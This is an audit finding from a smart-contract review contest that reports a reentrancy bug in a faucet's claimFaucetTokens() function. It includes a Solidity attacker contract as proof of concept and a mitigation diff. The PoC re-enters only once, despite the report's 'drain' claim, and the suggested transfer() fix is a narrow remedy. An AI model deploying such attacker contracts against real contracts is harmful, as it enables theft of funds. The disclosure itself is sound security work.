Raisebox Faucet
First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy vulnerability in claimFaucetTokens()

eze001

Root + Impact

Description

Expected behavior:

The faucet should follow the Checks-Effects-Interactions pattern to prevent reentrancy, ensuring token and ETH transfers are executed after all state updates.

Actual behavior:

The contract updates state variables and performs ETH and token transfers in ways that may allow reentrant re-entry via fallback calls.


Explanation:

The call used to transfer ETH to faucetClaimer can trigger a fallback function on the recipient, which may call claimFaucetTokens() again before lastClaimTime and hasClaimedEth are finalized.


(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
@> if (success) {
@> emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
@> } else {
@> revert RaiseBoxFaucet_EthTransferFailed();
@> }
​

Risk

Likelihood

High — this can be executed easily if a claimer is a contract with a fallback function.

Impact:

  • Allows malicious claimers to repeatedly reenter claimFaucetTokens() and drain ETH.

  • Compromises the faucet’s ETH and token reserves.


Proof of Concept

Explanation

The fallback re-calls the faucet’s claim function during ETH transfer, draining its balance before the function completes.

contract ReentrantClaimer {
RaiseBoxFaucet public faucet;
bool public attackOngoing;
​
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
​
receive() external payable {
if (attackOngoing) return;
attackOngoing = true;
faucet.claimFaucetTokens();
}
​
function startAttack() external {
faucet.claimFaucetTokens();
}
}
​

Recommended Mitigation

Explanation

Using transfer() or a reentrancy guard prevents recursive calls.

- remove this code
+ add this code
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ payable(faucetClaimer).transfer(sepEthAmountToDrip);
​
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.